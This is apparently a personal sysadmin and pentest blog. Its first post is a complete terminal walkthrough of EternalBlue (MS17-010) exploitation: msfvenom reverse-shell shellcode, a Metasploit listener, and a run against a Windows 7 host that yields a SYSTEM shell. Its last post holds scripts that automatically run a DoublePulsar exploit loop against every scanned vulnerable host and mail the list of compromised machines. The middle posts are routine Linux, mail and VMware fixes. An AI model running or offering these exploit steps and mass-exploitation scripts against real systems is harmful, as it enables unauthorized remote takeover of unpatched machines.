root@kali# git clone https://github.com/3ndG4me/AutoBlue-MS17-010.git
Cloning into 'AutoBlue-MS17-010'...
remote: Enumerating objects: 1, done.
remote: Counting objects: 100% (1/1), done.
remote: Total 72 (delta 0), reused 0 (delta 0), pack-reused 71
Unpacking objects: 100% (72/72), done.
root@kali# ./shell_prep.sh
_.-;;-._
'-..-'| || |
'-..-'|_.-;;-._|
'-..-'| || |
'-..-'|_.-''-._|
Eternal Blue Windows Shellcode Compiler
Let's compile them windoos shellcodezzz
Compiling x64 kernel shellcode
Compiling x86 kernel shellcode
kernel shellcode compiled, would you like to auto generate a reverse shell with msfvenom? (Y/n)
Y
LHOST for reverse connection:
10.254.1.47
LPORT you want x64 to listen on:
443
LPORT you want x86 to listen on:
445
Type 0 to generate a meterpreter shell or 1 to generate a regular cmd shell
1
Type 0 to generate a staged payload or 1 to generate a stageless payload
1
Generating x64 cmd shell (stageless)...
msfvenom -p windows/x64/shell_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=10.254.1.47 LPORT=443
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 460 bytes
Saved as: sc_x64_msf.bin
Generating x86 cmd shell (stageless)...
msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=10.254.1.47 LPORT=445
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Saved as: sc_x86_msf.bin
MERGING SHELLCODE WOOOO!!!
DONE
root@kali# ./listener_prep.sh
__
/,-
||)
\\_, )
`--'
Enternal Blue Metasploit Listener
LHOST for reverse connection:
10.254.1.47
LPORT for x64 reverse connection:
443
LPORT for x86 reverse connection:
445
Enter 0 for meterpreter shell or 1 for regular cmd shell:
1
Type 0 if this is a staged payload or 1 if it is for a stageless payload
1
Starting listener (stageless)...
[ ok ] Starting postgresql (via systemctl): postgresql.service.
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMM MMMMMMMMMM
MMMN$ vMMMM
MMMNl MMMMM MMMMM JMMMM
MMMNl MMMMMMMN NMMMMMMM JMMMM
MMMNl MMMMMMMMMNmmmNMMMMMMMMM JMMMM
MMMNI MMMMMMMMMMMMMMMMMMMMMMM jMMMM
MMMNI MMMMMMMMMMMMMMMMMMMMMMM jMMMM
MMMNI MMMMM MMMMMMM MMMMM jMMMM
MMMNI MMMMM MMMMMMM MMMMM jMMMM
MMMNI MMMNM MMMMMMM MMMMM jMMMM
MMMNI WMMMM MMMMMMM MMMM# JMMMM
MMMMR ?MMNM MMMMM .dMMMM
MMMMNm `?MMM MMMM` dMMMMM
MMMMMMN ?MM MM? NMMMMMN
MMMMMMMMNe JMMMMMNMMM
MMMMMMMMMMNm, eMMMMMNMMNMM
MMMMNNMNMMMMMNx MMMMMMNMMNMMNM
MMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM
https://metasploit.com
=[ metasploit v5.0.6-dev ]
+ -- --=[ 1857 exploits - 1055 auxiliary - 327 post ]
+ -- --=[ 546 payloads - 44 encoders - 10 nops ]
+ -- --=[ 2 evasion ]
[*] Processing config.rc for ERB directives.
resource (config.rc)> use exploit/multi/handler
resource (config.rc)> set PAYLOAD windows/x64/shell_reverse_tcp
PAYLOAD => windows/x64/shell_reverse_tcp
resource (config.rc)> set LHOST 10.254.1.47
LHOST => 10.254.1.47
resource (config.rc)> set LPORT 443
LPORT => 443
resource (config.rc)> set ExitOnSession false
ExitOnSession => false
resource (config.rc)> set EXITFUNC thread
EXITFUNC => thread
resource (config.rc)> exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
resource (config.rc)> set PAYLOAD windows/shell/reverse_tcp
[*] Started reverse TCP handler on 10.254.1.47:443
PAYLOAD => windows/shell/reverse_tcp
resource (config.rc)> set LPORT 445
LPORT => 445
resource (config.rc)> exploit -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 10.254.1.47:445
msf5 exploit(multi/handler) >
root@kali# python eternalblue_exploit7.py 10.1.1.13 shellcode/sc_all.bin
shellcode size: 2203
numGroomConn: 13
Target OS: Windows 7 Professional 7601 Service Pack 1
SMB1 session setup allocate nonpaged pool success
SMB1 session setup allocate nonpaged pool success
good response status: INVALID_PARAMETER
done
root@kali# python eternalblue_exploit7.py 10.1.1.13 shellcode/sc_all.bin
shellcode size: 2203
numGroomConn: 13
Target OS: Windows 7 Professional 7601 Service Pack 1
SMB1 session setup allocate nonpaged pool success
SMB1 session setup allocate nonpaged pool success
good response status: INVALID_PARAMETER
done
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 10.1.1.13
[*] Command shell session 1 opened (10.254.1.47:445 -> 10.1.1.13:49173) at 2019-02-21 13:28:21 -0500
msf5 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell x86/windows Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation... 10.254.1.47:445 -> 10.1.1.13:49173 (10.1.1.13)
msf5 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
More?
SR<@p f%_?Mg??:6Zdx8}}(ks-cx_JwD`c@MWH?l hp6
The system cannot find the file specified.
C:\Windows\system32>whoami
whoami
nt authority\system
Friday, August 16, 2019
autoblue is better than msfconsole sometimes
making an imitator like an original in ubuntu
p2v isn't your friend and really you just want what you had before without all the junk. you already backup /etc smart you. how about figure out what packages you have and install them on your clone. original # dpkg --get-selections > pkglist original # scp pkglist notme@imitator:/tmp imitator # dpkg --set-selections < pkglist imitator # apt-get dselect-upgrade
exim4 retry time not reached for any host
The relay is having a bad day. And it comes back online.
But /var/log/exim4/mainlog is spitting out:
"Exim error – retry time not reached for any host"
Okay.
# cd /var/spool/exim4/db
# rm -f retry retry.lockfile
# rm -f wait-remote_smtp wait-remote_smtp.lockfile
# service exim restart
Friday, May 3, 2019
Monday, March 18, 2019
fix vmware converter disk fubar with kali
I decided to used VMWare Converter to convert a live Kali system to a VMWare VM. No joy.
My environment:
[system-to-convert]
# uname -a
# Linux kali2 4.14.0-kali3-amd64 #1 SMP Debian 4.14.12-2kali1 (2018-01-08) x86_64 GNU/Linux
# less /etc/lsb-releases
DISTRIB_ID=Kali
DISTRIB_RELEASE=kali-rolling
DISTRIB_CODENAME=kali-rolling
DISTRIB_DESCRIPTION="Kali GNU/Linux Rolling"
[vmware vcenter converter standalone]
rev 6.2.0 build-8466193
After running a couple conversions, I consistently failure at 97% of the process completed,
and this error:
FAILED: An error occurred during the conversion: 'GrubInstaller::InstallGrub:
/usr/lib/vmware-converter/installGrub.sh failed with return code: 127, and message:
FATAL: kernel too old Error running vmware-updateGrub.sh through chroot into /mnt/p2v-src-root Command:
chroot "/mnt/p2v-src-root" /vmware-updateGrub.sh "GRUB2" "(hd0)" "(hd0,1)" /vmware-device.map
"grub2-install" '
This means the grub2-install portion of the conversion was having difficulty running.
Apparently the Kali system is using lv groups for its various disk partitions and
not a simpler /dev/sda1 &c. structure.
To repair the process I booted off of a Kali LiveCD (really any modern Ubuntu ISO would've
done the trick, too):
# apt-get install lvm2
# vgchange -a y
# lvscan
ACTIVE '/dev/kali2-vg/root' [510.64 GiB] inherit
ACTIVE '/dev/kali2-vg/swap_1' [47.99 GiB] inherit
# mount /dev/kali2-vg/root /mnt
# cat /mnt/etc/fstab
# /boot was on /dev/sda1 during installation
/dev/sda1 /boot ext2 defaults 0 2
#UUID=c7c0cf46-3c64-4ceb-92d8-69d3906ab399 /boot ext2 defaults 0 2
/dev/mapper/kali2--vg-root / ext4 errors=remount-ro 0 1
/dev/mapper/kali2--vg-swap_1 none swap sw 0 0
/dev/sr0 /media/cdrom0 udf,iso9660 user,noauto 0 0
# mount /dev/sda1/boot /mnt/boot
# mount --bind /dev /mnt/dev
# mount --bind /proc /mnt/proc
# mount --bind /sys /mnt/sys
# chroot /mnt
# apt-get remove --purge grub-pc grub-common
# apt-get install grub-pc
# grub-mkconfig
# update-grub
# grub-install /dev/sda
# exit
# umount /mnt/sys
# sudo umount /mnt/dev
# sudo umount /mnt/proc
# sudo umount /mnt/boot
# sudo umount /mnt
Wednesday, February 13, 2019
convert image format on macosx
tiff to jpg
for i in *.tiff; do sips -s format jpeg "$i" --out "${i%.*}.jpg"; done
pdf to jpgfor i in *.pdf; do sips -s format jpeg "$i" --out "${i%.*}.jpg"; done
Tuesday, October 30, 2018
automate ms010-17 exploitation better
<find vuln hosts>
#!/bin/bash
VULNHOSTS=/root/doublepulsar.scan/VULNHOSTS
TIMESTAMP=$(date "+%Y%m%d")
cd /root/doublepulsar.scan/VULNHOSTS/
msfconsole -x "color false ; vulns -o /root/doublepulsar.scan/VULNHOSTS/vulns.msf ; exit"
sort -u $VULNHOSTS/vulns.msf > $VULNHOSTS/vulns.msf.o
grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' $VULNHOSTS/vulns.msf.o > $VULNHOSTS/vulns.msf.ip
sort -u $VULNHOSTS/vulns.msf.ip > $VULNHOSTS/vulnerablehosts.$TIMESTAMP
for file in $(find . -mtime 1 ); do
sdiff $file vulnerablehosts.$TIMESTAMP | less | grep '>' > changes.$TIMESTAMP
done
mail -s "vulnerable hosts $TIMESTAMP" me@hell < vulnerablehosts.$TIMESTAMP
mail -s "vulnerable hosts difference $TIMESTAMP" me@hell < changes.$TIMESTAMP
#rm -rf $VULNHOSTS/vulns.*
#rm $VULNHOSTS/changes.$TIMESTAMP
<post report, exploit>
#!/bin/bash
PROCESS=/root/doublepulsar.scan/exploit
THEWICKED=/root/doublepulsar.scan/VULNHOSTS
TODAY=$(date '+%Y%m%d')
YESTERDAY=$(date -d "yesterday" '+%Y%m%d')
TOMORROW=$(date -d "next day" '+%Y%m%d')
WORK=/root/.msf4
cd $PROCESS/
mkdir $PROCESS/logs/$TODAY
cp $WORK/thewicked $WORK/thewicked.$TODAY
cp $THEWICKED/vulnerablehosts.$TODAY $WORK/thewicked
#hack em
cd /root/.msf4
msfconsole -x "color false ; jobs -K ; resource doublepulsar-loop.rc ; exit"
cd /root/.msf4/logs/sessions
ls | grep $TODAY | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' > $PROCESS/exploited.$TODAY
mkdir /root/doublepulsar.scan/exploit/$TODAY
mv /root/.msf4/logs/sessions/*.log $PROCESS/$TODAY
mail -s "doublepulsar vuln hosts exploited $TODAY" me@hell < $PROCESS/exploited.$TODAY
exit
Subscribe to:
Posts (Atom)